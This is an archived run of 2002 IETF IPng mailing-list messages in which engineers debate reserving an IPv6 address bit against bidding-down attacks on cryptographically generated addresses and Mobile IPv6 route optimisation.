format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Keith, > if yahoo.com thinks there's any value at all in the client's IP address, > they're deluded. > > the only way to reliably know a client is if the client presents you with > cryptographic proof that they sent that message, and you trust the keying > material on which that proof is based. I completely agree with you if the goal is to know *who* the client is, for any reasonable meaning of *who*. But that is *NOT* the goal. For MIPv6, the *final* goal is to learn if the client is *authorized* to create bindings, i.e. source routes, for the _home address_ that it is using. The process to learn whether it is authorized or not is basically a two step process: Step 1. Detect if the client wants to use the default authorization mechanism, i.e. RR, or something stronger. Step 2. Use the authorization mechanism to detect if the client is really authorized. It was an _explicit_ IESG requirement that the authorization mechanism MUST NOT rely on trusted third parties, i.e. on a security infrastructure. Hence the "infrastructureless" methods. If we want to take the security-infrastructureless route, we have little to build up but the routing infrastructure and the addresses. (The secure ND case does not apply for an arbitrary client for contacting yahoo.com. I'm too tired to try to think generally right now, and to work out more generic examples.) --Pekka Nikander -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 09:51:44 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34HpiKL015605; Thu, 4 Apr 2002 09:51:44 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34Hpicr015604; Thu, 4 Apr 2002 09:51:44 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34HpeKL015594 for ; Thu, 4 Apr 2002 09:51:40 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA22963 for ; Thu, 4 Apr 2002 09:51:43 -0800 (PST) Received: from ws177.nomadiclab.com (teldanex.hiit.fi [212.68.5.99]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA14720 for ; Thu, 4 Apr 2002 10:51:42 -0700 (MST) Received: from nomadiclab.com (cube.local.nikander.com [192.168.0.33]) by ws177.nomadiclab.com (Postfix) with ESMTP id 38F6F8; Thu, 4 Apr 2002 20:53:26 +0300 (EEST) Message-ID: <3CAC92CF.6060007@nomadiclab.com> Date: Thu, 04 Apr 2002 20:52:15 +0300 From: Pekka Nikander User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:0.9.9+) Gecko/20020402 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Keith Moore Cc: Bob Hinden , ipng@sunroof.eng.sun.com Subject: Re: Using "a bit" as a protection against bidding down / for something else References: <200204041318.g34DIfZ11993@astro.cs.utk.edu> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Keith Moore wrote: > so rather than trying to squeeze a protocol negotiation bit into > the address, maybe folks should be trying to add the necessary > information to DNS so that it can be verified by DNSSEC. That can be done. For MIPv6 it just requires that we have fully deployed secure reverse DNS. > I realize it's ugly to add more frobs to DNS, but IMHO trying to > further constrain the use of the IPv6 address space is far uglier. The bit method is also a performance issue. Do we want a server to do a DNS lookup each and every time someone talking with it wants to do MIPv6 RO? Do we want to include DNS lookups in Secure ND? --Pekka Nikander -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 09:52:05 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34Hq5KL015618; Thu, 4 Apr 2002 09:52:05 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34Hq4RW015617; Thu, 4 Apr 2002 09:52:04 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34HpwKL015607 for ; Thu, 4 Apr 2002 09:51:58 -0800 (PST) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA23055 for ; Thu, 4 Apr 2002 09:51:57 -0800 (PST) Received: from fridge.docomolabs-usa.com (fridge.docomolabs-usa.com [216.98.102.228]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA01236 for ; Thu, 4 Apr 2002 09:51:56 -0800 (PST) Received: from T23KEMPF (dhcp126.docomolabs-usa.com [172.21.96.126]) by fridge.docomolabs-usa.com (8.11.3/8.11.3) with SMTP id g34HpSI23435; Thu, 4 Apr 2002 09:51:28 -0800 (PST) Message-ID: <016e01c1dc01$1f02f4d0$7e6015ac@T23KEMPF> From: "James Kempf" To: "Keith Moore" , "Hesham Soliman \(ERA\)" Cc: "'Keith Moore'" , "Pekka Nikander" , "Bob Hinden" , References: <200204041535.g34FZpZ01423@astro.cs.utk.edu> Subject: Re: Using "a bit" as a protection against bidding down / for some thing else Date: Thu, 4 Apr 2002 09:49:51 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Keith, > the only way to reliably know a client is if the client presents you with > cryptographic proof that they sent that message, and you trust the keying > material on which that proof is based. Well stated! jak -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 10:14:04 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34IE4KL015819; Thu, 4 Apr 2002 10:14:04 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34IDx9I015818; Thu, 4 Apr 2002 10:13:59 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34IDuKL015811 for ; Thu, 4 Apr 2002 10:13:56 -0800 (PST) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA25883 for ; Thu, 4 Apr 2002 10:13:59 -0800 (PST) Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA08747 for ; Thu, 4 Apr 2002 10:13:58 -0800 (PST) Received: from mira-sjcd-4.cisco.com (IDENT:mirapoint@mira-sjcd-4.cisco.com [171.69.43.47]) by sj-msg-core-3.cisco.com (8.12.2/8.12.2) with ESMTP id g34IDVCl000723; Thu, 4 Apr 2002 10:13:32 -0800 (PST) Received: from [10.34.255.54] ([10.34.255.54]) by mira-sjcd-4.cisco.com (Mirapoint) with ESMTP id ADF30732; Thu, 4 Apr 2002 10:12:48 -0800 (PST) Mime-Version: 1.0 X-Sender: deering@mira-sjcd-4.cisco.com Message-Id: In-Reply-To: <3CABF714.4010400@nomadiclab.com> References: <4DA6EA82906FD511BE2F00508BCF053802C6ABC8@Esealnt861.al.sw.ericsson.se> <3CAB0F1F.CE9DB679@hursley.ibm.com> <4.3.2.7.2.20020403112809.0254d948@mailhost.iprg.nokia.com> <3CABF714.4010400@nomadiclab.com> Date: Thu, 4 Apr 2002 10:13:41 -0800 To: Pekka Nikander From: Steve Deering Subject: Re: Using "a bit" as a protection against bidding down / for something else Cc: Bob Hinden , ipng@sunroof.eng.sun.com Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At 9:47 AM +0300 4/4/02, Pekka Nikander wrote: >Thus, I really think that we should make such a bit *reservation*... >If it later turns out that the reservation does not need to be used, >after all, the better. Then release it or use it for something even >more productive. Pekka, I think that making such a reservation is not *quite* as harmless as you imply. If I understand correctly, if we were to agree today to reserve a bit in the IPv6 IID (or a subrange of the IID space), the Mobile IP folks would then immediately proceed to put some language in the Mobile IPv6 spec requiring (or forbidding) certain behavior for packets carrying (or not carrying) IIDs from that reserved space. If we then get a large number of deployed IPv6 nodes that conform to that Mobile IPv6 specification, that would effectively limit any potential future use of the reserved IID space to only those uses that are compatible with the Mobile-IPv6-mandated behavior. To be less abstract: if the Mobile IPv6 spec says "don't do RR for addresses with IIDs in the reserved space", and if we get a large installed base of nodes obeying that requirement, then we effectively lose the ability to have RR applied to any addresses that use the reserved IID space. That limits what the reserved space can be used for in the future. Maybe that's a consequence we will decide is acceptable, given our best current guess at the potential benefits of the proposed crypto-IIDs, but we should be aware that a trade-off is being made. Designing for future extensibility is hard, and certainly requires more than just reserving a block of space. The fancy encoding of the Type field in IPv6 Hop-by-Hop and Destination options is an example of the sort of thing you probably have to do to "get it right", but I am certainly not suggesting that we do that within the IID field! Steve -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 10:15:08 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34IF8KL015838; Thu, 4 Apr 2002 10:15:08 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34IF78g015837; Thu, 4 Apr 2002 10:15:07 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34IF3KL015830 for ; Thu, 4 Apr 2002 10:15:04 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA22113 for ; Thu, 4 Apr 2002 10:15:07 -0800 (PST) Received: from tndh.net (evrtwa1-ar8-4-60-069-145.evrtwa1.vz.dsl.gtei.net [4.60.69.145]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA24032 for ; Thu, 4 Apr 2002 11:15:06 -0700 (MST) Received: from eagleswings (127.0.0.1) by tndh.net (127.0.0.1) with [XMail 1.3 (Win32/Ix86) ESMTP Server] id for from ; Thu, 04 Apr 2002 10:15:03 -0800 From: "Tony Hain" To: "Pekka Nikander" , "Tony Hain" Cc: "Jari Arkko" , "Brian E Carpenter" , "Hesham Soliman \(ERA\)" , , , "Erik Nordmark" Subject: RE: Using "a bit" as a protection against bidding down / for something else Date: Thu, 4 Apr 2002 10:15:03 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 In-Reply-To: <3CABF28B.5010401@nomadiclab.com> Importance: Normal Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka Nikander wrote: > ... > > the proposed bit cleared. THE BIT PROVIDES NO VALUE TO THIS PROCESS. > > Here I have to *strongly* disagree. > > The "bit" is one method for providing protection against the > bidding down attack. It effectively creates two IP address spaces, > those for which the receiver *requires* CGA, and those for which it > does not. The point we are violently disagreeing on here is only the value of using a distinct address format as the flag. The receiving application either requires a CGA address for validation or it doesn't. There is no inbetween here. If the receiver requires CGA for validation and does not have a matching PK, the connection will be rejected. > > If we do *not* do this distinction, a Man-in-the-Middle can claim, > for *any* IP address, that CGA (or something similar) is not used. > That reduces the security of all addresses to the same base line, > effectively creating a situation where CGA (or similar) does not > provide any additional value at all. Ergo, *something* that divides > the IP address set into two distinct sets *is* needed, or otherwise > CGA and related methods bring no additional value. The man-in-the-middle can't do anything if there are no bits to manipulate. Either the reciever has a matching PK or it doesn't. All it has to do is check, and there is nothing that an attacker can do to invalidate the process. > > If everybody agrees that CGA (and any security that is *not* based > on an external infrastructure but on "intrinsic cryptography") > is a bad idea, then fine with me. Let's forget this discussion. > But then we are effectively saying that zero-configuration security > is a bad idea and we don't want it. I am not saying that CGA is a bad idea. On the contrary it is a great idea. All I am pointing out is that we don't need anything more than RFC3041 to accomplish it. > > Thus, this all is really about zero-configuration security. Such > security, by nature, is never "strong" by the strict definition of > strong, but it can be *much* stronger than the current no-security > situation. Basically, such security can provide quite a lot of > defence against various DoS attacks. > > This two-address-space thing is only required for those recipients > that support both the current nodes with no understanding about > zero-conf security and the future nodes that do care about zero-conf > security. As I noted before, it requires that the initiator commits > a priori either to the "weak" method or the "strong" method. I am sorry, but this is misguided. Current nodes will never care about CGA, so they won't try to verify them. New nodes can verify the addresses, so they know the originator either cared because the CGA matched, or didn't care or was incapable of generating a CGA. In either case it has the appropriate info to decide to accept or reject. > > The details differ, quite a lot in fact, depending on whether > we speak about MIPv6 or something else, e.g. secure Neighbor > Discovery. > But the same need: dividing the address space into two distinct sets, > is there. Or at least that is my current understanding. Maybe I am > wrong. > > Personally, I do not believe that any bold statements help here. > At least to me, this whole zero-conf security business is so new > that at least I need to have very humble attitude here. I learn > new issues all the time. On the other hand, IMHO we really want > to go towards zero-conf security. And if we do, we need some kind > of transition mechanism. Dividing the IPv6 address space seems to > serve as an important piece of such a transition mechanisms. > > Of course, there are different ways of dividing the IPv6 address > space. If everybody thinks that using a bit in the IID is a bad > idea, then maybe we should consider distinct routing prefixes for > mobile hosts, and distinct link local addresses for secure ND. All that is doing is asking for a set of bits. Bits are not the problem here. The receiver has to check for CGA validation if it cares, so adding bits does not help. Tony > > --Pekka > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 10:17:17 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34IHGKL015863; Thu, 4 Apr 2002 10:17:16 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34IHGem015862; Thu, 4 Apr 2002 10:17:16 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34IHBKL015855 for ; Thu, 4 Apr 2002 10:17:11 -0800 (PST) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA01870 for ; Thu, 4 Apr 2002 10:17:15 -0800 (PST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [160.36.58.43]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA21429 for ; Thu, 4 Apr 2002 10:16:51 -0800 (PST) Received: from astro.cs.utk.edu (localhost [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id g34IH7Z20105; Thu, 4 Apr 2002 13:17:07 -0500 (EST) Message-Id: <200204041817.g34IH7Z20105@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Pekka Nikander cc: Keith Moore , "Hesham Soliman (ERA)" , Bob Hinden , ipng@sunroof.eng.sun.com Subject: Re: Using "a bit" as a protection against bidding down / for some thing else In-reply-to: (Your message of "Thu, 04 Apr 2002 20:49:54 +0300.") <3CAC9242.2090706@nomadiclab.com> Date: Thu, 04 Apr 2002 13:17:07 -0500 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > For MIPv6, the *final* goal is to learn if > the client is *authorized* to create bindings, i.e. source > routes, for the _home address_ that it is using. ... > It was an _explicit_ IESG requirement that the authorization > mechanism MUST NOT rely on trusted third parties, i.e. on > a security infrastructure. Hence the "infrastructureless" > methods. in that case, I think the solution is the null set. because none of: - the fact that traffic from a client appears to come from an address - the fact that the client appears to respond to traffic sent to an address - the fact that a client claims to be authorized to make assertions about an address are suitable as verification that a client is authorized to make assertions about that address. such authorizations are *inherently* made by third parties - i.e. network administrators who are responsible for assigning addresses for use by clients. the *only* way to verify client assertions about address bindings is to verify that the client has been given the authority to make such assertions by the party who is reponsible for doling out those addresses - and the only way to do that (that scales) is to rely on some security infrastructure. such infrastructure doesn't have to involve a "trusted third party" (in the sense of a "third party" that is unrelated to the participating parties and whose only function is to mediate trust) but an infrastructure that involves the parties who have the authority to make assertions about addresses (from IANA down to the site level via the RIRs and ISPs) is inherently necessary to address the problem you claim to be trying to solve. Keith -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 10:21:45 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34ILjKL015938; Thu, 4 Apr 2002 10:21:45 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34ILj2o015936; Thu, 4 Apr 2002 10:21:45 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34ILdKL015921 for ; Thu, 4 Apr 2002 10:21:39 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA03572 for ; Thu, 4 Apr 2002 10:21:40 -0800 (PST) Received: from tndh.net (evrtwa1-ar8-4-60-069-145.evrtwa1.vz.dsl.gtei.net [4.60.69.145]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA27676 for ; Thu, 4 Apr 2002 11:21:37 -0700 (MST) Received: from eagleswings (127.0.0.1) by tndh.net (127.0.0.1) with [XMail 1.3 (Win32/Ix86) ESMTP Server] id for from ; Thu, 04 Apr 2002 10:21:31 -0800 From: "Tony Hain" To: "Pekka Nikander" Cc: "Jari Arkko" , "Brian E Carpenter" , "Hesham Soliman \(ERA\)" , , , "Erik Nordmark" Subject: RE: Using "a bit" as a protection against bidding down / for something else Date: Thu, 4 Apr 2002 10:21:30 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 In-Reply-To: <3CABFD37.5000306@nomadiclab.com> Importance: Normal Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka Nikander wrote: > ... > Relying on looking up credentials each and every time is one > possibility. But that is inefficient; large servers are > unlikely to do that. > This is bogus. You are claiming that looking up credentials once a connection is inefficient, but your fundemental goal is to have those same machines look up credentials once a connection if a magic bit is set. This line of reasoning says that once all nodes are setting the magic bit life will be inefficient and servers will stop providing service. A BIT PROVIDES NO VALUE. Either the receivers will care about CGA and have to check, or they will let anything through. Tony -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 10:21:45 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34ILiKL015935; Thu, 4 Apr 2002 10:21:44 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34ILim8015934; Thu, 4 Apr 2002 10:21:44 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34ILcKL015917 for ; Thu, 4 Apr 2002 10:21:38 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA28156 for ; Thu, 4 Apr 2002 10:21:39 -0800 (PST) Received: from ws177.nomadiclab.com (teldanex.hiit.fi [212.68.5.99]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA13638 for ; Thu, 4 Apr 2002 11:21:38 -0700 (MST) Received: from nomadiclab.com (cube.local.nikander.com [192.168.0.33]) by ws177.nomadiclab.com (Postfix) with ESMTP id 216958; Thu, 4 Apr 2002 21:23:22 +0300 (EEST) Message-ID: <3CAC99D3.2010806@nomadiclab.com> Date: Thu, 04 Apr 2002 21:22:11 +0300 From: Pekka Nikander User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:0.9.9+) Gecko/20020402 X-Accept-Language: en-us, en MIME-Version: 1.0 To: James Kempf Cc: Tony Hain , Jari Arkko , Brian E Carpenter , "Hesham Soliman (ERA)" , gab@Sun.COM, ipng@sunroof.eng.sun.com, Erik Nordmark Subject: CGA vs. Zero-conf security (was Re: Using "a bit" as a ....) References: <3CABF28B.5010401@nomadiclab.com> <00e301c1dbfe$2a0a78b0$7e6015ac@T23KEMPF> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk [I changed the subject since the topic was changed.] James, You are reading that I were saying more than I am, probably since the word "security" is so ill defined. I even catch myself using it in different meanings, and it is sometimes very hard to unambiguosly understand the exact meaning. >>Thus, this all is really about zero-configuration security. Such >>security, by nature, is never "strong" by the strict definition of >>strong, but it can be *much* stronger than the current no-security >>situation. Basically, such security can provide quite a lot of >>defence against various DoS attacks. > > I think you are making too strong a claim here. It looks like you are reading my statement somehow differently than I am. > All that CGA does is allow a node to know that > a packet came from a node claiming to possess > a certain public key. The packet could have been > rewritten in transit, or the public key may not > come from a reliable source, etc. Right, in a way. But maybe wrong, in another way. To be more precise, shows that somebody has, once but maybe 10 years ago, taken the effort to create a public key pair, an CGA address based on the public key, and signed a statement containing the CGA address using the private key corresponding to the public key. The security of this statement relies on cryptographic primitives, i.e. public key crypto and the hardness of reversing even around 60 bit one-way-function. Thus, the security here is an *economic* function, a function of the fact that creating such a stament for any *given* address would be prohibitively costly for most if not all organizations. To say anything more than that, you have to a) define exact semantics for the self-signed cert, and b) run a cryptographic challenge-response protocol that provides a timeliness proof about the availability of the private key. That allows you to do more, but it certainly does not allow you to do "end-to-end security" for many meanings of that phrase. > Real end to end security requires being able to authenticate that the packet > contents were not modified in transit, i.e. a digital signature, and > that the public key can be trusted. If a signature is used, then > Diffie-Hellman or another protocol is required, and both sides must > agree on the protocol and the parameters, e.g. p and g if Diffie-Hellman > is used, and that the public key came from a trusted source. I am not quite sure what you are exactly saying, but to the extend I understand I think that we agree. That is, I think that you are basically saying that CGA as such is not enough, but we need a cryptographic protocol on the top of that. That I agree with. What comes to "trusted source", I am not sure. Trust and trusted are also terms that are a lot misused in security literature. Indeed, the crusial issue here is trust. However, trust is *not* a binary, non-qualified thing. It is a quite complex phenomenon both in technical and psyco/sociological sense, but let's not go there. For now it is sufficient to understand that Alice trusts Bob for some things but not for others. The issue here is that you can *choose* to trust public keys for *certain* purposes, just based on the belief that it would be sufficiently hard for an attacker to break the assumed cryptographic scenario, e.g. CGA. > I think CGA is a good solution to the MIPv6 BU security problem, and > maybe for ND security as well, but I think it is prudent to not > overstate the case. I did not mean to overstate. I am sorry that my original sayings about zero-conf security could be read so. Generic zero-conf end-to-end confidentiality and integrity does not exist, since the *application* that requires confidentiality and integrity has application level access control and authorization requirements. On the other hand, it seems to be possible to create zero-conf security for certain signalling tasks, such as mobility and maybe ND. BTW, MIPv6 CGA is not the best example of zero-conf mobility security, HIP is a much better one. --Pekka -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 10:26:48 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34IQlKL016047; Thu, 4 Apr 2002 10:26:48 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34IQlFd016046; Thu, 4 Apr 2002 10:26:47 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34IQiKL016039 for ; Thu, 4 Apr 2002 10:26:44 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA29313 for ; Thu, 4 Apr 2002 10:26:46 -0800 (PST) Received: from ws177.nomadiclab.com (teldanex.hiit.fi [212.68.5.99]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA16803 for ; Thu, 4 Apr 2002 11:26:45 -0700 (MST) Received: from nomadiclab.com (cube.local.nikander.com [192.168.0.33]) by ws177.nomadiclab.com (Postfix) with ESMTP id 5A01D8; Thu, 4 Apr 2002 21:28:30 +0300 (EEST) Message-ID: <3CAC9B07.2060107@nomadiclab.com> Date: Thu, 04 Apr 2002 21:27:19 +0300 From: Pekka Nikander User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:0.9.9+) Gecko/20020402 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Steve Deering Cc: Bob Hinden , ipng@sunroof.eng.sun.com Subject: Re: Using "a bit" as a protection against bidding down / for something else References: <4DA6EA82906FD511BE2F00508BCF053802C6ABC8@Esealnt861.al.sw.ericsson.se> <3CAB0F1F.CE9DB679@hursley.ibm.com> <4.3.2.7.2.20020403112809.0254d948@mailhost.iprg.nokia.com> <3CABF714.4010400@nomadiclab.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Steve, > I think that making such a reservation is not *quite* as harmless as > you imply. If I understand correctly, if we were to agree today to > reserve a bit in the IPv6 IID (or a subrange of the IID space), the > Mobile IP folks would then immediately proceed to put some language > in the Mobile IPv6 spec requiring (or forbidding) certain behavior > for packets carrying (or not carrying) IIDs from that reserved space. ... You are right, of course. It is good that you say that so clearly. To me this has been too implicit, and I couldn't have expressed it. Just two observations: 1. Having a switch that suddenly *allows* RR to be used for the reserved space is much easier than vise versa. Such a switch can be a MUST in MIPv6. 2. RO (and hence RR) is an optimization. An optimization that people want, but an optimization anyway. If two hosts don't do RO, they can still communicate. --Pekka Nikander -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 10:31:06 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34IV6KL016098; Thu, 4 Apr 2002 10:31:06 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com 